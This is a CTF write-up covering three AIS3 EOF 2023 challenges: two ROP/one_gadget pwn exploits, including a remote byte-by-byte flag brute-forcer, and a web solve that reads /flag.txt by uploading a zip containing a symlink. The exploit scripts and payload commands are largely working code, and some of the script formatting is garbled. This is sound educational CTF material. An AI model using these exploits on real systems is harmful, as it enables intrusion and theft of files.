AIS3 EOF 2023 初賽

AIS3 EOF 2023 初賽

PWN

real_rop

Description

  • Challenge URL

  • Folder structure:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
      Share
      ├── share
      │   ├── chal
      │   ├── flag
      │   ├── Makefile
      │   ├── real_rop++.c
      │   └── run.sh
      ├── docker-compose.yaml
      ├── Dockerfile
      └── xinetd
    

Original Code

#include <unistd.h>

int main()
{
    char buf[0x10];

    read(0, buf, 0x30);
    write(1, buf, 0x30);
    
    return 0;
}
gcc -fno-stack-protector -o chal real_rop++.c
  • Obviously buffer overflow but not much
  • Preliminary idea is one_gadget
  • Check protector
      $ checksec chal
      [*] '/home/sbk6401/CTF/AIS3/PWN/real_rop/share/chal'
          Arch:     amd64-64-little
          RELRO:    Full RELRO
          Stack:    No canary found
          NX:       NX enabled
          PIE:      PIE enabled
    
  • PIE is enabled → use write function to leak libc address
  • Full RELRO → cannot use GOT hijacking
  • Refer to 大神write up, we cannot leak libc address and get shell at one time. So, we can control $rip and return to the beginning of main function and go through the process again. That is, we have another `read` function to fill in one_gadget.
  • Note that, the version of Ubuntu and Glibc is VERY VERY important, according to Dockerfile, it seems use Ubuntu 20.04 with default
      FROM ubuntu:20.04
      MAINTAINER u1f383
    
      RUN apt-get update && \
          DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd
    
      RUN useradd -m chal
      RUN chown -R root:root /home/chal
      RUN chmod -R 755 /home/chal
    
      CMD ["/usr/sbin/xinetd", "-dontfork"]
    

Analyze where to return

  • **`For Ubuntu 22.04 & GLIBC 2.35` - back to `__libc_start_main+121`**
      $ gdb chal
      pwndbg> starti
      pwndbg> vmmap
    

      pwndbg> b _start
      Breakpoint 15 at 0x555555555080 (2 locations)
      pwndbg> c
    

      pwndbg> pwndbg> b __libc_start_main
      Breakpoint 16 at 0x7ffff7db8dc0: file ../csu/libc-start.c, line 242.
      pwndbg> c
      pwndbg> ni    # until <__libc_start_main+123>
    

      pwndbg> s
      pwndbg> ni    # until <__libc_start_main+123>
    

      pwndbg> s
    

      pwndbg> ni    # until <main+62>
    

    ### Overall, the sequence is:

      _start → 0x0000555555555080
      __libc_start_main+123 → 0x00007ffff7db8e3b
      __libc_start_call_main+126 → 0x00007ffff7db8d8e
    
      _start
      ...
      _start+31
      ↓
          __libc_start_main
          ...
          __libc_start_main+123
          ↓
              __libc_start_call_main
              ...
              __libc_start_call_main+126
              ↓
                  main
                  ...
              __libc_start_call_main+128
              __libc_start_call_main+130
              ↓
                  exit
    
  • **`For Ubuntu 20.04 & GLIBC 2.31` - back to `__libc_start_main+236`**

    Whole processes are almost the same as above, just the sequence is different

    ### Overall, the sequence is:

      _start
      ...
      _start+40
      ↓
          __libc_start_main
          ...
          __libc_start_main+241
          ↓
              main
              ...
          __libc_start_main+243
          __libc_start_main+245
          ↓
              exit
    

Exploit - leak libc address + one_gadget

Use Ubuntu 20.04 that the same as remote server
  1. Try to control $rip and return to beginning We can observe stack at the end of main function. It’ll always return to __libc_start_main+243. Therefore, we can padding garbage bytes and overlap the last byte of $rip.
     payload = p64(0) * 3 + int.to_bytes(124, 1, 'little')
    

    According to the derivation of last section, we should return to __libc_start_main+236(the address is 0x7ffff7df007c for temp) and the address of __libc_start_main+243 is 0x7ffff7df0083(temp), so that we just modify the last bytes → $0x73=124$

  2. Try to leak libc offset - write function + gdb We can observe stack situation before sending payload. The first 3*8 bytes are garbage bytes that we filled at first round.
     r.recv(0x18)
     libc_addr = u64(r.recv(6) + b'\x00\x00') - 0x24083 + 0x7
    

    Skip garbage bytes first then receive 6 bytes. Note that - 0x24083 + 0x7 is try and error so that it can be 0x7f07a24fb00(temp) checked by vmmap.

  3. Construct one_gadget Use vmmap to check which libc version be used - `/lib/x86_64-linux-gnu/libc-2.31.so`
     $ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so
     ...
     0xe3afe execve("/bin/sh", r15, r12)
     constraints:
       [r15] == NULL || r15 == NULL
       [r12] == NULL || r12 == NULL
     ...
     $ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so --only "pop|ret" --multibr > one_gadget
     $ vim one_gadget
    
     pop_r15_ret = libc_addr + 0x2a3e4
     pop_r12_ret = libc_addr + 0x2f709
     r.send(p64(0) * 3 + p64(pop_r12_ret) + p64(0) + p64(libc_addr+0xe3afe))
    
    Note that

    $r15 has NULL already before read function, so it’s no need to send pop_r15_ret.

  4. Then we got shell!!!

Reference

gdb指令 Linux中誰來呼叫C語言中的main? Docker exec 命令

how2know_revenge

Description

  • Challenge: nc edu-ctf.zoolab.org 10012
  • Environment Version: Ubuntu 20.04
  • Folder structure:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
      Share
      ├── share
      │   ├── chal
      │   ├── flag
      │   ├── Makefile
      │   ├── how2know_revenge.c
      │   └── run.sh
      ├── docker-compose.yaml
      ├── Dockerfile
      └── xinetd
    

Original Code

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>

static char flag[0x30];

int main()
{
    char addr[0x10];
    int fd;
    scmp_filter_ctx ctx;

    fd = open("/home/chal/flag", O_RDONLY);
    if (fd == -1)
        perror("open"), exit(1);
    read(fd, flag, 0x30);
    close(fd);

    write(1, "talk is cheap, show me the rop\n", 31);
    read(0, addr, 0x1000);

    ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    return 0;
    
}
$ gcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp
$  checksec chal
[*] '/home/sbk6401/CTF/AIS3/PWN/how2know_revenge/share/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Description & Preliminary Idea

The whole process flow is almost the same as how2know. The difference is global variable turned into local variable and it has buffer overflow obviously. So, we can find various ROP and access into it and brute force to compare the single char of the flag.

Exploit - ROP + how2know

  1. Find flag address → `0x4de2e0`
    1
    2
     $ objdump -d -M Intel chal | grep "<flag>"
       401cfe:       48 8d 35 db c5 0d 00    lea    0xdc5db(%rip),%rsi        # 4de2e0 <flag>
    
  2. Create ROP chain
     $ ROPgadget --binary chal --multibr > rop_gadget
     $ vim rop_gadget
    
     pop_r14_ret = 0x402797
     mov_eax_dword_ptr_rax_ret = 0x4022ee
     cmp_al_r14b_ret = 0x438c15
     jne_0x426148_ret = 0x426159
    
     pop_rbx_ret = 0x401fa2
     jmp_rbx = 0x4176fd
     infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx)
    
     ROP = flat(
                 pop_rax_ret, flag_addr+idx,
                 mov_eax_dword_ptr_rax_ret,
                 pop_r14_ret, guess,
                 cmp_al_r14b_ret, 
                 jne_0x426148_ret,
     )
     ROP += infinite_loop
    
    • Move the flag address to $rax, and move the flag string to $eax next
    • Then put our guess single char to $r14
    • Compare $al and $r14b
    • If correct, go into infinity loop, otherwise, jump to 0x426148
  3. How to know the single char in pwntool side? When the comparison is correct, it’ll access into infinity loop and recv function will receive something then break while loop and close the connection, otherwise, it’ll jump to 0x426148 and trigger timeout exception.
     r.sendafter(b'rop\n',b'a'*0x28 + ROP)
     try :
         # If compare not correct, guess++ and access to infinity loop
         r.recv(timeout=0.5)
         break
     except:
         # If compare correct, pwntool will break out
         guess += 1
     r.close()
    
  4. Repeat
     flag = ''
     idx = 0
     while idx < 48:
         guess = 0x20
         while guess < 0x80 :
             r = remote('edu-ctf.zoolab.org', 10012)
             {create ROP}
             r.sendafter(b'rop\n',b'a'*0x28 + ROP)
             try :
                 ...
             except:
                 ...
             r.close()
         idx += 1
         flag += chr(guess)
    
    • Whole exploit ```python!= from pwn import *

    context.arch = ‘amd64’

    flag_addr = 0x4de2e0 pop_r14_ret = 0x402797 mov_eax_dword_ptr_rax_ret = 0x4022ee cmp_al_r14b_ret = 0x438c15 jne_0x426148_ret = 0x426159

    pop_rbx_ret = 0x401fa2 jmp_rbx = 0x4176fd infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx)

    flag = ‘’ idx = 0 while idx < 53: guess = 0x20 while guess < 0x80 : # r = process(‘./chal’) r = remote(‘edu-ctf.zoolab.org’, 10012) ROP = flat( pop_rax_ret, flag_addr+idx, mov_eax_dword_ptr_rax_ret, pop_r14_ret, guess, cmp_al_r14b_ret, jne_0x426148_ret, ) ROP += infinite_loop

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
         r.sendafter(b'rop\n',b'a'*0x28 + ROP)
         try :
             # If compare not correct, guess++ and access to infinity loop
             r.recv(timeout=0.5)
             break
         except:
             # If compare correct, pwntool will break out
             guess += 1
         r.close()
    
     idx += 1
     flag += chr(guess)
     print(flag)  print(flag)
    

    r.interactive()

    1
     * <font color="FF0000">Note that</font>: The exploit program will be affected by the internet connection and caused the result is wrong like this:
    

    FLA!{CORORO_f8b7d5d23ad03512P6687384b7a2a/00} ‘LAG{CORORO_f8b7d5d23ad03512d6687384b7a2a500} LAG{CRORO_f8b7d5d23ad03512d6687384b7a2a500} FLAG{CO#/RO_f8b7d5d23ad03512d6687384b7a2a500} FLAG{CAMORO_f8b7d5d/3ad03512d6687384!7a2a500xX ``` Thus, you can run much more times to compare the result together so that you can patch up the flag correctly.

Reference

EOF 2023

Web

Share

Description

  • Challenge URL

  • Folder structure:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
      Share
      ├── Web
      │   ├── src
      │   │   ├── static
      │   │   │    └── {None}
      │   │   ├── template
      │   │   │    ├── index.html
      │   │   │    └── login.html
      │   │   └── app.py
      │   └── Dockerfile
      ├── docker-compose.yaml
      └── flag
    
  • This website function is let the user can upload compress folder (\*.zip) and the compress folder must contains a `index.html` file so that it can uncompress the folder then redirect to this new page.
  • To solve this question, we must use **`symbolic link`**

Observation

  • Main program first - app.py This part is aim to unzip the compress folder and redirect to new page - index.html that the user provide
      ...
      @app.route('/upload', methods=['POST'])
      def upload_file():
        if 'user' not in session:
          return 'Login first'
        if 'file' not in request.files or not request.files['file'].filename:
          return 'Missing file'
    
        _sub = session['user']
        file = request.files['file']
        tmppath = path.join('/tmp', urandom(16).hex())
        realpath = safeJoin('/app/static', _sub)
        if not realpath:
          return 'No path traversal'
        if not path.exists(realpath):
          mkdir(realpath)
    
        file.save(tmppath)
        returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode
        if returncode != 0:
          return 'Not a zip file'
        if not path.isfile(path.join(realpath, 'index.html')):
          return '"index.html" not found'
        return redirect(realpath[4:]+'/index.html', code=302)
      ...
    
  • docker-compose.yaml We can see that the flag is mounted on `/flag.txt`
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
      version: '3.9'
    
      services:
        web:
          build: web
          restart: always
          ports:
            - 8080:5000
          volumes:
            - ./flag:/flag.txt:ro
    

Construct Payload

  • So, our first idea is using symbolic link to create a payload.txt that link to /flag.txt and compress with index.html then upload to the web page.
  • Payload
      touch index.html
      ln -s /flag.txt payload.txt
      zip --symlinks -ry index.zip payload.txt index.html
    

    Then rewrite the URL like this: https://share.ctf.zoolab.org/static/123/payload.txt

    FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}

Reference

unzipper-ctftime unzipper-mikecat unzipper-nandynarwhals 電腦王-symbolic link Ithelp - symbolic link